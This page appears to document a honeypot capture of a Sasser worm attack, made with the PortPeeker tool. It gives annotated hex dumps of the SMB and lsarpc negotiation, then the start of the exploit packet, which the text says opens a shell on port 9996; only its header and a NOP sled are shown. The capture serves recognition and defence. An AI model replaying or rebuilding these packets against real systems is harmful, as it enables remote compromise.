PortPeeker Capture of Sasser Scan and Infection Attempt

For further details concerning Sasser please see:

Microsoft - What You Should Know About the Sasser Worm and Its Variants

LURHQ - Sasser Worm Analysis

This is the sequence of events with packet contents of a Sasser scan and infection attempt.

First Sasser probes for systems with the target exploit on TCP port 445.  NOTE this is a very common scan and is used for everything from finding systems with open shares to Sasser, as it just a SMB connection attempt.

68.144.65.80 : 1388 TCP Data In Length 137 bytes
MD5 = F9DC4A724A268DC50F599D91414A25A8
---- 02/05/2004 19:10:01.460
0000 00 00 00 85 FF 53 4D 42 72 00 00 00 00 18 53 C8 .....SMBr.....S.
0010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FE ................
0020 00 00 00 00 00 62 00 02 50 43 20 4E 45 54 57 4F .....b..PC NETWO
0030 52 4B 20 50 52 4F 47 52 41 4D 20 31 2E 30 00 02 RK PROGRAM 1.0..
0040 4C 41 4E 4D 41 4E 31 2E 30 00 02 57 69 6E 64 6F LANMAN1.0..Windo
0050 77 73 20 66 6F 72 20 57 6F 72 6B 67 72 6F 75 70 ws for Workgroup
0060 73 20 33 2E 31 61 00 02 4C 4D 31 2E 32 58 30 30 s 3.1a..LM1.2X00
0070 32 00 02 4C 41 4E 4D 41 4E 32 2E 31 00 02 4E 54 2..LANMAN2.1..NT
0080 20 4C 4D 20 30 2E 31 32 00                      LM 0.12.


Your system replies and Sasser works through the SMB setup.  This is somewhat awkward to do in PortPeeker as we have to fake the replies of a multi-step process, but only one fake reply to a data in event repeated a couple of times seems to work.

68.144.65.80 : 1388 TCP Data In Length 168 bytes
MD5 = 34655F8572CB808857E1E9520482EEE8
---- 02/05/2004 19:10:01.630
0000 00 00 00 A4 FF 53 4D 42 73 00 00 00 00 18 07 C8 .....SMBs.......
0010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FE ................
0020 00 00 10 00 0C FF 00 A4 00 04 11 0A 00 00 00 00 ................
0030 00 00 00 20 00 00 00 00 00 D4 00 00 80 69 00 4E ... .........i.N
0040 54 4C 4D 53 53 50 00 01 00 00 00 97 82 08 E0 00 TLMSSP..........
0050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0060 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 20 00 W.i.n.d.o.w.s. .
0070 32 00 30 00 30 00 30 00 20 00 32 00 31 00 39 00 2.0.0.0. .2.1.9.
0080 35 00 00 00 57 00 69 00 6E 00 64 00 6F 00 77 00 5...W.i.n.d.o.w.
0090 73 00 20 00 32 00 30 00 30 00 30 00 20 00 35 00 s. .2.0.0.0. .5.
00A0 2E 00 30 00 00 00 00 00                         ..0.....

Your system replies

68.144.65.80 : 1388 TCP Data In Length 222 bytes
MD5 = FF85E3D70CBF2AAAD5ABB1E02254B8C6
---- 02/05/2004 19:10:01.790
0000 00 00 00 DA FF 53 4D 42 73 00 00 00 00 18 07 C8 .....SMBs.......
0010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FE ................
0020 00 08 20 00 0C FF 00 DA 00 04 11 0A 00 00 00 00 .. .............
0030 00 00 00 57 00 00 00 00 00 D4 00 00 80 9F 00 4E ...W...........N
0040 54 4C 4D 53 53 50 00 03 00 00 00 01 00 01 00 46 TLMSSP.........F
0050 00 00 00 00 00 00 00 47 00 00 00 00 00 00 00 40 .......G.......@
0060 00 00 00 00 00 00 00 40 00 00 00 06 00 06 00 40 .......@.......@
0070 00 00 00 10 00 10 00 47 00 00 00 15 8A 88 E0 48 .......G.......H
0080 00 4F 00 44 00 00 81 19 6A 7A F2 E4 49 1C 28 AF .O.D....jz..I.(.
0090 30 25 74 10 67 53 57 00 69 00 6E 00 64 00 6F 00 0%t.gSW.i.n.d.o.
00A0 77 00 73 00 20 00 32 00 30 00 30 00 30 00 20 00 w.s. .2.0.0.0. .
00B0 32 00 31 00 39 00 35 00 00 00 57 00 69 00 6E 00 2.1.9.5...W.i.n.
00C0 64 00 6F 00 77 00 73 00 20 00 32 00 30 00 30 00 d.o.w.s. .2.0.0.
00D0 30 00 20 00 35 00 2E 00 30 00 00 00 00 00 0. .5...0.....

Your system replies

68.144.65.80 : 1533 TCP Data In Length 137 bytes
MD5 = F9DC4A724A268DC50F599D91414A25A8
---- 02/05/2004 19:10:02.290
0000 00 00 00 85 FF 53 4D 42 72 00 00 00 00 18 53 C8 .....SMBr.....S.
0010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FE ................
0020 00 00 00 00 00 62 00 02 50 43 20 4E 45 54 57 4F .....b..PC NETWO
0030 52 4B 20 50 52 4F 47 52 41 4D 20 31 2E 30 00 02 RK PROGRAM 1.0..
0040 4C 41 4E 4D 41 4E 31 2E 30 00 02 57 69 6E 64 6F LANMAN1.0..Windo
0050 77 73 20 66 6F 72 20 57 6F 72 6B 67 72 6F 75 70 ws for Workgroup
0060 73 20 33 2E 31 61 00 02 4C 4D 31 2E 32 58 30 30 s 3.1a..LM1.2X00
0070 32 00 02 4C 41 4E 4D 41 4E 32 2E 31 00 02 4E 54 2..LANMAN2.1..NT
0080 20 4C 4D 20 30 2E 31 32 00 LM 0.12.

Your system replies

68.144.65.80 : 1533 TCP Data In Length 168 bytes
MD5 = 34655F8572CB808857E1E9520482EEE8
---- 02/05/2004 19:10:02.450
0000 00 00 00 A4 FF 53 4D 42 73 00 00 00 00 18 07 C8 .....SMBs.......
0010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FE ................
0020 00 00 10 00 0C FF 00 A4 00 04 11 0A 00 00 00 00 ................
0030 00 00 00 20 00 00 00 00 00 D4 00 00 80 69 00 4E ... .........i.N
0040 54 4C 4D 53 53 50 00 01 00 00 00 97 82 08 E0 00 TLMSSP..........
0050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0060 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 20 00 W.i.n.d.o.w.s. .
0070 32 00 30 00 30 00 30 00 20 00 32 00 31 00 39 00 2.0.0.0. .2.1.9.
0080 35 00 00 00 57 00 69 00 6E 00 64 00 6F 00 77 00 5...W.i.n.d.o.w.
0090 73 00 20 00 32 00 30 00 30 00 30 00 20 00 35 00 s. .2.0.0.0. .5.
00A0 2E 00 30 00 00 00 00 00 ..0.....

Your system replies

68.144.65.80 : 1533 TCP Data In Length 222 bytes
MD5 = FF85E3D70CBF2AAAD5ABB1E02254B8C6
---- 02/05/2004 19:10:02.620
0000 00 00 00 DA FF 53 4D 42 73 00 00 00 00 18 07 C8 .....SMBs.......
0010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FE ................
0020 00 08 20 00 0C FF 00 DA 00 04 11 0A 00 00 00 00 .. .............
0030 00 00 00 57 00 00 00 00 00 D4 00 00 80 9F 00 4E ...W...........N
0040 54 4C 4D 53 53 50 00 03 00 00 00 01 00 01 00 46 TLMSSP.........F
0050 00 00 00 00 00 00 00 47 00 00 00 00 00 00 00 40 .......G.......@
0060 00 00 00 00 00 00 00 40 00 00 00 06 00 06 00 40 .......@.......@
0070 00 00 00 10 00 10 00 47 00 00 00 15 8A 88 E0 48 .......G.......H
0080 00 4F 00 44 00 00 81 19 6A 7A F2 E4 49 1C 28 AF .O.D....jz..I.(.
0090 30 25 74 10 67 53 57 00 69 00 6E 00 64 00 6F 00 0%t.gSW.i.n.d.o.
00A0 77 00 73 00 20 00 32 00 30 00 30 00 30 00 20 00 w.s. .2.0.0.0. .
00B0 32 00 31 00 39 00 35 00 00 00 57 00 69 00 6E 00 2.1.9.5...W.i.n.
00C0 64 00 6F 00 77 00 73 00 20 00 32 00 30 00 30 00 d.o.w.s. .2.0.0.
00D0 30 00 20 00 35 00 2E 00 30 00 00 00 00 00 0. .5...0.....

Your system replies

68.144.65.80 : 1533 TCP Data In Length 96 bytes
MD5 = CBD681ED2D52D413AE694D44F037717F
---- 02/05/2004 19:10:02.890
0000 00 00 00 5C FF 53 4D 42 75 00 00 00 00 18 07 C8 ...\.SMBu.......
0010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FE ................
0020 00 08 30 00 04 FF 00 5C 00 08 00 01 00 31 00 00 ..0....\.....1..
0030 5C 00 5C 00 36 00 38 00 2E 00 31 00 34 00 34 00 \.\.6.8...1.4.4.
0040 2E 00 31 00 32 00 38 00 2E 00 31 00 35 00 5C 00 ..1.2.8...1.5.\.
0050 69 00 70 00 63 00 24 00 00 00 3F 3F 3F 3F 3F 00 i.p.c.$...?????.

Your system replies

68.144.65.80 : 1533 TCP Data In Length 104 bytes
MD5 = 7B07A01C668D11CBBAD0B0A85F870CA1
---- 02/05/2004 19:10:03.220
0000 00 00 00 64 FF 53 4D 42 A2 00 00 00 00 18 07 C8 ...d.SMB........
0010 00 00 00 00 00 00 00 00 00 00 00 00 00 08 DC 04 ................
0020 00 08 40 00 18 FF 00 DE DE 00 0E 00 16 00 00 00 ..@.............
0030 00 00 00 00 9F 01 02 00 00 00 00 00 00 00 00 00 ................
0040 00 00 00 00 03 00 00 00 01 00 00 00 40 00 00 00 ............@...
0050 02 00 00 00 03 11 00 00 5C 00 6C 00 73 00 61 00 ........\.l.s.a.
0060 72 00 70 00 63 00 00 00                         r.p.c...

Your system replies

68.144.65.80 : 1533 TCP Data In Length 160 bytes
MD5 = 15091EF9E409FBBEA5A631980A10B117
---- 02/05/2004 19:10:03.500
0000 00 00 00 9C FF 53 4D 42 25 00 00 00 00 18 07 C8 .....SMB%.......
0010 00 00 00 00 00 00 00 00 00 00 00 00 00 08 DC 04 ................
0020 00 08 50 00 10 00 00 48 00 00 00 00 04 00 00 00 ..P....H........
0030 00 00 00 00 00 00 00 00 00 54 00 48 00 54 00 02 .........T.H.T..
0040 00 26 00 00 40 59 00 10 5C 00 50 00 49 00 50 00 .&..@Y..\.P.I.P.
0050 45 00 5C 00 00 00 00 00 05 00 0B 03 10 00 00 00 E.\.............
0060 48 00 00 00 01 00 00 00 B8 10 B8 10 00 00 00 00 H...............
0070 01 00 00 00 00 00 01 00 6A 28 19 39 0C B1 D0 11 ........j(.9....
0080 9B A8 00 C0 4F D9 2E F5 00 00 00 00 04 5D 88 8A ....O........]..
0090 EB 1C C9 11 9F E8 08 00 2B 10 48 60 02 00 00 00 ........+.H`....

Once Sasser feels that it is connected then it attempts to exploit the vulnerability and open a remote command shell on TCP port 9996.

68.144.65.80 : 1533 TCP Data In Length 4348 bytes
MD5 = 7D25F864CC88CD3BA6C4AA80847F21BD
---- 02/05/2004 19:10:03.830
0000 00 00 10 F8 FF 53 4D 42 2F 00 00 00 00 18 07 C8 .....SMB/.......
0010 00 00 00 00 00 00 00 00 00 00 00 00 00 08 FF FE ................
0020 00 08 60 00 0E FF 00 DE DE 00 40 00 00 00 00 FF ..`.......@.....
0030 FF FF FF 08 00 B8 10 00 00 B8 10 40 00 00 00 00 ...........@....
0040 00 B9 10 EE 05 00 00 01 10 00 00 00 B8 10 00 00 ................
0050 01 00 00 00 0C 20 00 00 00 00 09 00 AD 0D 00 00 ..... ..........
0060 00 00 00 00 AD 0D 00 00 90 00 90 00 90 00 90 00 ................
0070 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0080 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0090 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
00A0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
00B0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
00C0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
00D0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
00E0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
00F0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0100 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0110 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0120 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0130 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0140 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0150 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0160 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0170 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0180 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0190 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
01A0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
01B0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
01C0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
01D0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
01E0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
01F0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0200 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0210 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0220 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0230 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0240 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0250 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0260 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0270 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0280 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0290 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
02A0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
02B0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
02C0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
02D0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
02E0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
02F0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0300 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0310 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0320 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0330 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0340 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0350 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0360 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0370 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0380 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0390 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
03A0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
03B0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
03C0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
03D0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
03E0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
03F0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0400 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0410 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0420 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0430 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0440 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0450 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0460 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0470 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0480 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0490 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
04A0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
04B0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
04C0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
04D0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
04E0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
04F0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0500 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0510 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0520 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0530 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0540 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0550 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0560 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0570 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0580 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0590 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
05A0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
05B0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
05C0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
05D0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
05E0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
05F0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0600 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0610 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0620 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0630 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0640 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0650 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0660 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0670 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0680 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0690 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
06A0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
06B0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
06C0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
06D0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
06E0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
06F0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0700 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0710 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0720 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0730 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0740 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0750 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0760 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0770 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0780 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0790 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
07A0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
07B0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
07C0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
07D0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
07E0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
07F0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0800 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0810 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0820 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0830 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0840 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0850 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0860 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0870 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0880 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0890 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
08A0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
08B0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
08C0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
08D0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
08E0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
08F0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0900 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0910 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0920 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0930 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0940 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0950 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0960 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0970 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0980 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0990 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
09A0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
09B0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
09C0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
09D0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
09E0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
09F0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0A00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0A10 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0A20 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0A30 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0A40 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0A50 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0A60 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0A70 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0A80 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0A90 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0AA0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0AB0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0AC0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0AD0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0AE0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0AF0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0B00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0B10 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0B20 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0B30 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0B40 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0B50 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0B60 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0B70 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0B80 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0B90 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0BA0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0BB0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0BC0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0BD0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0BE0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0BF0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0C00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0C10 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0C20 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0C30 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0C40 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0C50 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0C60 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0C70 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0C80 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0C90 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0CA0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0CB0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0CC0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0CD0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0CE0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0CF0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0D00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0D10 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0D20 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0D30 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0D40 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0D50 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0D60 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0D70 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0D80 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0D90 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0DA0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0DB0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0DC0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0DD0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0DE0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0DF0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0E00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0E10 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0E20 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0E30 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0E40 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0E50 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0E60 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0E70 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0E80 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0E90 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0EA0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0EB0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0EC0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0ED0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0EE0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0EF0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0F00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0F10 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0F20 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0F30 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0F40 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0F50 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0F60 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0F70 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0F80 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0F90 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
